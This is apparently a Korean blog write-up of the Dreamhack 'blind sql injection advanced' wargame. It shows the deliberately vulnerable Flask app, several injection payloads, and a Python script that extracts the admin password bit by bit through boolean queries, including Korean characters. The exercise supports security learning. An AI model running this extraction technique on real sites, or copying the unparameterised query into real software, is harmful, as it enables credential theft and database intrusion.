[Dreamhack] blind sql injection advanced
우선 app.py 코드부터 봤다.
import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
if __name__ == '__main__':
app.run(host='0.0.0.0')
uid 파라미터로 받은 입력을 별다른 필터링 없이 mysql쿼리에 사용되기에 SQL Injection에 취약점이 발생한다.
1
2
위를 보면 알 수 있듯이 결과를 출력해주는 것이 아니라 성공한다면 1과 같겠지만 실패한다면 2와 같이 아무것도 보여주지 않음을 알 수 있기에 Blind SQL Injection공격을 해야한다.
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
위 코드는 init.sql이다. 데이터베이스명 : user_dbusers 테이블명 : users 컬럼 : uid, upw 이렇게 생성되어있다.
users테이블에서 admin을 보면 admin에 패스워드 upw가 flag값임을 알 수 있다. 문제에서 패스워드는 아스키코드와 한글로 구성되어있다고 함을 잊지말자.
우선 admin의 패스워드 길이를 알아내보자.
admin'||length(upw)like(27)#
위와 같이 like의 괄호 안 부분만 1씩 늘려갔는데 28에서부턴 답이 없었다. 그래서 패스워드에 길이가 27이라고 생각했는데. 생각해보니 패스워드는 아스키코드랑 한글로 구성되어있다... 한글은 3으로 읽혔을텐데.. 여기서 아스키코드가 몇개 쓰였고 한글이 몇글자 쓰였을까.. 생각을 하다가 도저히 모르겠어서 강의를 통해 파이썬 스크립트를 봤고 부분적으로 잘라서 이해한 것을 적어봤다.
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
내가 썼던 코드들을 사용해보려했는데 잘 안됐다.. 문자열 인코딩의 정확한 길이를 계산하기 위해서 char_length함수를 사용했고 admin 계정을 char_length함수를 사용하여 패스워드 길이를 찾도록 쿼리가 작성되었다. 거짓이 나오면 계속 반복되면서 password_length가 1씩 늘어나고 참이 되면 user 'admin' exists.와 같은 식으로 exists 랜더링되기 때문에 exists가 나온다면 멈춰서 그 길이를 확정지었다.
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
위 코드는 문자마다 비트열 길이를 찾는 코드이다. 문자를 인자로 받은 뒤 ord함수로 유니코드 정수로 반환한 후 bin으로 이진수 문자열로 바꾼다. 그 후 위와 동일하게 거짓이면 bit_length를 1씩 늘리고 참이면 if문의 break로 그 자릿수를 확정짓는다. 비트열의 길이로 아스키 코드인지 한글인지 추측할 수 있다.
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
위 코드는 문자마다 비트열을 추출하는 코드이다. 문자의 비트열이 아스키코드라면 최대 8번, 한글이라면 최대 24번의 요청으로 추출할 수 있다. 각 문자마다 비트열을 추출하여 저장해놓고 후에 문자로 변환해주기위해 필요한 과정이다.
password = ""
for i in range(1, password_length + 1):
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
utf-8로 인코딩을 어떻게 할지가 가장 궁금했는데 순서가 있었다. 우선 비트열을 정수로 변환하고 변환한 정수를 Big Endian형태의 문자로 변환한 뒤 변환된 문자를 인코딩에 맞게 변환하는 것이다.
그래서 int클래스로 비트열을 정수로 변환했고 그 정수를 Big Endian형태로 변환하기 위해서 int.to_bytes함수를 사용한다. 마무리는 문자를 인코딩에 맞게 변환하기 위해서 bytes.decode함수를 사용했다.
위와 같은 코드들을 하나로 모아 파이썬 스크립트로 실행하면
password length: 13
character 1's bit length: 7
character 1's bits: 1000100
character 2's bit length: 7
character 2's bits: 1001000
character 3's bit length: 7
character 3's bits: 1111011
character 4's bit length: 24
character 4's bits: 111011001001110110110100
character 5's bit length: 24
character 5's bits: 111010101011001010000011
character 6's bit length: 24
character 6's bits: 111011001001110110110100
character 7's bit length: 24
character 7's bits: 111010111011100110000100
character 8's bit length: 24
character 8's bits: 111010111011000010000000
character 9's bit length: 24
character 9's bits: 111010111011001010001000
character 10's bit length: 24
character 10's bits: 111011011001100010111000
character 11's bit length: 6
character 11's bits: 100001
character 12's bit length: 6
character 12's bits: 111111
character 13's bit length: 7
character 13's bits: 1111101
DH{*********}
위와 같이 결과가 나온다.
'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글
[Dreamhack] SQL Injection Bypass WAF (0) | 2023.01.11 |
---|---|
[Dreamhack] error based sql injection (0) | 2023.01.11 |
[Dreamhack] DOM XSS (0) | 2023.01.10 |
[Dreamhack] XS-Search (0) | 2023.01.10 |
[Dreamhack] Relative Path Overwrite Advanced (0) | 2023.01.10 |